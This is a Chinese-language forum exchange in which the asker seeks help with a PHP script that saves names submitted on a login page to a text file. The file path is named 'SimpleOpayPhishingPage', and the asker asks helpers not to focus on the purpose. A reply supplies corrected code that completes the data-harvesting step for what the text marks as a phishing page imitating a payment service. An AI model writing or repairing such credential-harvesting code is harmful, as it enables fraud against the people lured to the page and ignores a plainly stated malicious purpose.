我尝试制作一个简单的 php 脚本,从登录页面收集用户登录信息,并写入一个名为 v_info.txt 的文件... 但总是返回“无法注册用户信息,如果错误仍然存在,请联系我们”... 我尝试为我的 xampp 提供所有必需的权限,但无济于事。
这是代码:
<!DOCTYPE html>
<html>
<body>
<?php
$vf_name = $vl_name = "";
if($_SERVER["REQUEST_METHOD"] == "POST"){
$vf_name = $_POST["fname"];
$vl_name = $_POST["lname"];
}
$log_file = fopen("/web/SimpleOpayPhishingPage/text/v_info.txt", "w+") or die("Unable to Register user information, If error persists please contact us")
?>
</body>
</html>
不要关注脚本的内容/目的:) ...
请检查我的解决方案,也许它适合您!
$vf_name = $vl_name = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$vf_name = htmlspecialchars($_POST["fname"]);
$vl_name = htmlspecialchars($_POST["lname"]);
$log_file = fopen("/opt/lampp/htdocs/SimpleOpayPhishingPage/text/v_info.txt", "w+") or die("Error opening file: " . error_get_last()['message']);
fwrite($log_file, $vf_name . " " . $vl_name . "\n");
fclose($log_file);
}